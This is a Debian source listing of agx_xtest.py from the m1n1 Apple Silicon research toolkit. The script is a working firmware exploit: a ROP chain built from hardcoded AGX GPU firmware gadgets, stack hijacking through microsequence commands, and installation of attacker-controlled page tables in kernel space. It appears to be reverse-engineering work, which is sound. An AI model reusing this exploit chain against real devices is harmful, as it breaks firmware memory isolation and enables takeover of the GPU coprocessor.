File: agx_xtest.py

package info (click to toggle)
m1n1 1.5.2-2
  • links: PTS, VCS
  • area: main
  • in suites: forky, sid
  • size: 5,468 kB
  • sloc: python: 42,002; ansic: 33,376; asm: 1,101; makefile: 271; xml: 177; sh: 116
file content (416 lines) | stat: -rw-r--r-- 11,768 bytes parent folder | download | duplicates (3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
#!/usr/bin/env python3
# SPDX-License-Identifier: MIT

import sys, pathlib, time
sys.path.append(str(pathlib.Path(__file__).resolve().parents[1]))

import atexit, sys

from m1n1.agx import AGX
from m1n1.agx.render import *
from m1n1.fw.agx.microsequence import *
from construct import *

from m1n1.setup import *
from m1n1 import asm

p.pmgr_adt_clocks_enable("/arm-io/gfx-asc")
p.pmgr_adt_clocks_enable("/arm-io/sgx")

agx = AGX(u)
agx.mon = mon
sgx = agx.sgx_dev

def magic(renderer, work, ms):
    work.scratch = agx.kobj.new_buf(0x4000, name="scratch", track=True)

    # dump GXF area
    #for i in range(0, 0x200, 8):
        #ms.append(Read64Cmd(0xffffff8000068000 + i))
        #ms.append(Store64Cmd(work.scratch._addr + i))
    #return

    gbl_cur_cmd_state = 0xffffff80000744b0

    v_gptbat_base = 0xffffff800004d06b
    v_kpt_pfn = 0xffffff80000680b0

    g_epilogue = 0xffffff8000021ec0

    sp = 0xffffff80000baab0 + 0x1c0
    v_lr = sp + 0x58
    v_x26 = sp + 0x10
    v_x23 = sp + 0x28
    v_x22 = sp + 0x30
    v_x21 = sp + 0x38

    g_stack_pivot = 0xffffff8000006640
    #0xffffff8000006640 : mov sp, x2 ; movz x0, #0x1 ; ret

    g_calltwo = 0xffffff8000045e24
    # 0xffffff8000045e24 :
    # ldr x8, [x22] ; ldr x8, [x8] ; mov x0, x22 ; movz w1, #0x5 ; mov x2, x23 ; mov x3, #0x0 ; blr x8 ;
    g_callone = 0xffffff8000045e3c
    # ldr x8, [x21, #0x70] ; cbz x8, #0xffffff8000045e4c ; mov x0, x26 ; blr x8
    # mov x0, x23 ;
    # ldp x29, x30, [sp, #0x80] ;
    # ldp x20, x19, [sp, #0x70] ;
    # ldp x22, x21, [sp, #0x60] ;
    # ldp x24, x23, [sp, #0x50] ;
    # ldp x26, x25, [sp, #0x40] ;
    # ldp x28, x27, [sp, #0x30] ;
    # ldp d9, d8, [sp, #0x20] ;
    # add sp, sp, #0x90 ; ret

    g_store = 0xffffff800003b310
    # 0xffffff800003b310 : str x0, [x23, #0xa78] ; ldp x29, x30, [sp, #0x40] ; ldp x20, x19, [sp, #0x30] ; ldp x22, x21, [sp, #0x20] ; ldp x24, x23, [sp, #0x10] ; ldp x26, x25, [sp], #0x50 ; ret

    g_mmu_gxf_enter = 0xffffff8000006650

    ROP_SIZE = 0x400

    rbuf = agx.kobj.new(Array(ROP_SIZE, Int64ul), name="ROP", track=True)
    p_rop = rbuf._addr

    rop = []

    def r(i):
        p = p_rop + len(rop) * 8
        rop.append(i)
        return p

    def e(v):
        p = p_rop + len(rop) * 8
        rop.extend(v)
        return p

    tmp_cmdbuf = r(0)
    pg_stack_pivot = r(g_stack_pivot)
    ppg_stack_pivot = r(pg_stack_pivot)
    pg_store = r(g_store)
    pg_epilogue = r(g_epilogue)
    pg_mmu_gxf_enter = r(g_mmu_gxf_enter)

    v_ttbrs = 0xffffff8001000000
    v_ttbr1_63 = v_ttbrs + 63 * 16

    gxf_map_args = e([
        v_ttbrs >> 14, # va
        0,  # pa
        1,      # size
        0x41b,  # EL1 RW Shared
        0,      # unk
    ])

    gxf_map_op = e([
        0x10,   # map
        gxf_map_args
    ])

    gxf_switch_args = e([
        63 << 32,   # context ID
    ])

    gxf_switch_op = e([
        0x20,   # switch
        gxf_switch_args
    ])

    if len(rop) & 1:
        r(0)

    # Low leaf PT for firmware
    v_kpt0 = 0xffffff8001fc8000
    # New page tables (AGX heap scratch)
    # Actually make this the TTBR page lol
    v_new_pt = 0xffffff80000b4000

    new_sp = e([
        # Set the TTBR1 for context 63
        # Coming from g_calltwo
        0x0aaaaaaaaa000006,
        0x0aaaaaaaaa000007,
        0x0aaaaaaaaa000008,
        0x0aaaaaaaaa000009,
        0x0aaaaaaaaa00000a,
        0x0aaaaaaaaa00000b,
        0x0bbbbbbbbb000028, # x28
        0x0bbbbbbbbb000027, # x27
    ])
    new_ttbr = e([
        0x1bbbbbbbbb000026, # x26 = x0 = value
        0x1bbbbbbbbb000025, # x25
        0x1bbbbbbbbb000024, # x24
        v_ttbr1_63 - 0xa78, # x23 = addr
        0x1bbbbbbbbb000022, # x22
        pg_store - 0x70,    # x21 = func
        0x1bbbbbbbbb000020, # x20
        0x1bbbbbbbbb000019, # x19
        0x1bbbbbbbbb000029, # x29
        g_callone,          # lr

        # Switch to context 63
        # Coming from g_store
        gxf_switch_op,      # x26 = x0 = op
        0x2bbbbbbbbb000025, # x25
        0x2bbbbbbbbb000024, # x24
        0x2bbbbbbbbb000023, # x23
        0x2bbbbbbbbb000022, # x22
        pg_mmu_gxf_enter - 0x70, # x21 = func
        0x2bbbbbbbbb000020, # x20
        0x2bbbbbbbbb000019, # x19
        0x2bbbbbbbbb000029, # x29
        g_callone,          # lr

        # Install our page table in the kernel space
        # Coming from g_callone
        0x3aaaaaaaaa000006,
        0x3aaaaaaaaa000007,
        0x3aaaaaaaaa000008,
        0x3aaaaaaaaa000009,
        0x3aaaaaaaaa00000a,
        0xaaaaaaaaaa00000b,
        0x3bbbbbbbbb000028, # x28
        0x3bbbbbbbbb000027, # x27
    ])
    ktp_pte_val = e([
        0x3bbbbbbbbb000026, # x26 = x0 = value
        0x3bbbbbbbbb000025, # x25
        0x3bbbbbbbbb000024, # x24
    ])
    kpt_pte_addr = e([
        0x3bbbbbbbbb000023, # x23 = addr
        0x3bbbbbbbbb000022, # x22
        pg_store - 0x70,    # x21 = func
        0x3bbbbbbbbb000020, # x20
        0x3bbbbbbbbb000019, # x19
        0x3bbbbbbbbb000029, # x29
        g_callone,          # lr
    ])
    def restore_reg(p):
        return e([
            # Restore x21
            # Coming from g_store
            0x4bbbbbbbbb000026, # x26 = x0 = value
            0x4bbbbbbbbb000025, # x25
            0x4bbbbbbbbb000024, # x24
            p - 0xa78,          # x23 = addr
            0x4bbbbbbbbb000022, # x22
            pg_store - 0x70,    # x21 = function
            0x4bbbbbbbbb000020, # x20
            0x4bbbbbbbbb000019, # x19
            0x4bbbbbbbbb000029, # x29
            g_callone,          # lr
        ])

    save_x21 = restore_reg(v_x21)
    save_x22 = restore_reg(v_x22)
    save_x23 = restore_reg(v_x23)
    save_x26 = restore_reg(v_x26)
    save_lr = restore_reg(v_lr)

    e([
        # Return to original stack
        # Coming from g_store
        0,                  # x26 = r0 = ret
        0x5bbbbbbbbb000025, # x25
        0x5bbbbbbbbb000024, # x24
        sp,                 # x23 = new sp
        ppg_stack_pivot,    # x22 = 1st function
        pg_epilogue - 0x70, # x21 = 2nd function
        0x5bbbbbbbbb000020, # x20
        0x5bbbbbbbbb000019, # x19
        0x5bbbbbbbbb000029, # x29
        g_calltwo,          # lr
    ])
    print(f"ROP len: {len(rop)*8:#x}")

    rbuf.val = rop + [0] * (ROP_SIZE - len(rop))
    rbuf.push()

    # Calculate pfn of the ttbr base
    vpg_ttbrs = gxf_map_args + 8
    ms.append(Read64Cmd(v_gptbat_base))
    ms.append(ALUCmd(ALUCmd.LSR, 14))
    ms.append(Store64Cmd(vpg_ttbrs))

    # Calculate physaddr of the kpte to overwrite
    ms.append(Read64Cmd(v_kpt_pfn))
    ms.append(ALUCmd(ALUCmd.LSL, 14))
    ms.append(ALUCmd(ALUCmd.XOR, 0xffffffffffffffff))
    ms.append(Add16Cmd(0xa78 - 8 * 4))
    ms.append(ALUCmd(ALUCmd.XOR, 0xffffffffffffffff))
    ms.append(Store64Cmd(kpt_pte_addr))

    # Read the page tables to find the paddr of our new PT,
    # and generate the PTE and TTBR
    # pt[0] -> self reference L1 -> L2
    ms.append(Read64Cmd(v_kpt0 + ((v_new_pt >> 14) & 0x7ff) * 8))
    ms.append(ALUCmd(ALUCmd.AND, 0xfffffffc000))
    ms.append(ALUCmd(ALUCmd.OR, 1))
    ms.append(Store64Cmd(new_ttbr))
    ms.append(ALUCmd(ALUCmd.OR, 2))
    ms.append(Store64Cmd(ktp_pte_val))
    ms.append(Store64Cmd(v_new_pt))

    # Map physical 32M pages at 0, 32M, 8G-32, 16G-32
    # This should be enough to make the exploit work regardless of RAM size,
    # the shader can map the rest
    for page in (0, 1, 255, 511):
        # pt[0x400+x] -> 0x800000000 + (x<<25)
        ms.append(Write64Cmd(v_new_pt + 0x2000 + 8 * page, 0xe0000800000409 | (page<<25)))

    # Save the stack values we will clobber,
    # and construct the new ttbr0 PT
    for src, dest in (
        (v_lr, save_lr),
        (v_x21, save_x21),
        (v_x22, save_x22),
        (v_x23, save_x23),
        (v_x26, save_x26),
    ):
        ms.append(Read64Cmd(src))
        ms.append(Store64Cmd(dest))

    # Set up our initial ROP pivot (GXF map TTBRs)
    ms.append(Write64Cmd(v_x21, pg_mmu_gxf_enter - 0x70))
    ms.append(Write64Cmd(v_x22, ppg_stack_pivot))
    ms.append(Write64Cmd(v_x23, new_sp))
    ms.append(Write64Cmd(v_x26, gxf_map_op))
    ms.append(Write64Cmd(v_lr, g_calltwo))

    # Figure out the stamp addr/val to complete the current command
    ms.append(Read64Cmd(gbl_cur_cmd_state))
    ms.append(Add16Cmd(0x10))
    store_cmd_buf = Store64Cmd(0)
    ms.append(store_cmd_buf)

    store_cmd_buf.addr = ms.cur_addr() + Read64Cmd.offsetof("addr")
    ms.append(Read64Cmd(0))
    ms.append(ALUCmd(ALUCmd.AND, 0xffffffffffffffe0))
    ms.append(Store64Cmd(tmp_cmdbuf))

    off_3d_stamp_addr =  0x8d8
    off_3d_stamp_value =  0x8e0
    off_3d_stamp_index =  0x8e4

    off_ta_stamp_addr =  0x578
    off_ta_stamp_value =  0x580
    off_ta_stamp_index =  0x584

    ms.append(Add16Cmd(off_ta_stamp_addr))
    store = Store64Cmd(0)
    ms.append(store)
    store.addr = ms.cur_addr() + Read64Cmd.offsetof("addr")
    ms.append(Read64Cmd(0))
    store_stamp_addr = Store64Cmd(0)
    ms.append(store_stamp_addr)

    ms.append(Read64Cmd(tmp_cmdbuf))
    ms.append(Add16Cmd(off_ta_stamp_value))
    store = Store64Cmd(0)
    ms.append(store)
    store.addr = ms.cur_addr() + Read32Cmd.offsetof("addr")
    ms.append(Read32Cmd(0))
    store_stamp_val = Store64Cmd(0)
    ms.append(store_stamp_val)

    ms.append(DoorbellCmd(1))

    off = ms.cur_addr()
    store_stamp_addr.addr = off + CompleteCmd.offsetof("stamp_addr")
    store_stamp_val.addr = off + CompleteCmd.offsetof("stamp_val")
    cmd = CompleteCmd()
    cmd.stamp_addr = 0
    cmd.stamp_val = 0
    ms.append(cmd)

    #off = ms.cur_addr()
    #store_stamp_addr.addr = off + AbortCmd.offsetof("stamp_addr")
    #store_stamp_val.addr = off + AbortCmd.offsetof("stamp_val")
    #cmd = AbortCmd()
    #cmd.stamp_addr = 0
    #cmd.stamp_val = 0
    #ms.append(cmd)

    ms.append(Write64Cmd(0xdead, 0))

try:
    agx.start()
    #agx.uat.dump(0)

    print("==========================================")
    print("## After init")
    print("==========================================")
    mon.poll()
    agx.poll_objects()

    ctx = GPUContext(agx)
    ctx.bind(2)

    f = GPUFrame(ctx, sys.argv[1], track=False)

    r = GPURenderer(ctx, 8, bm_slot=0x10, queue=1)
    print("==========================================")
    print("## Submitting")
    print("==========================================")

    r.mshook_ta = magic

    w = r.submit(f.cmdbuf)

    print("==========================================")
    print("## Submitted")
    print("==========================================")

    mon.poll()
    agx.poll_objects()

    print("==========================================")
    print("## Run")
    print("==========================================")

    r.run()

    while not r.ev_ta.fired:
        agx.asc.work()
        agx.poll_channels()

    #r.wait()
    agx.poll_objects()

    print("==========================================")
    print("## Scratch")
    print("==========================================")
    #chexdump(w.scratch.pull().val)
    #print(hex(w.scratch.pull().val))
    #open("68000.dump", "wb").write(w.scratch.pull().val)

    time.sleep(1)
    agx.poll_channels()
    agx.kick_firmware()
    agx.asc.work()
    agx.asc.work()
    agx.poll_channels()
    #agx.asc.crash.crash_hard()
    #agx.poll_channels()
    time.sleep(1)
    agx.poll_channels()
    agx.asc.work()
    agx.asc.work()
    agx.poll_channels()

    w = r.submit(f.cmdbuf)
    r.run()
    time.sleep(1)
    agx.poll_channels()

finally:
    mon.poll()
    agx.poll_objects()
    agx.uat.invalidate_cache()
    print(repr(agx.uat.iotranslate(0, 0xffffff8001000000, 0x10)))
    #print("UAT dump:")
    #agx.uat.dump(0)
    #print(f"Val: {p.read64(0x810000000):#x}")
    p.reboot()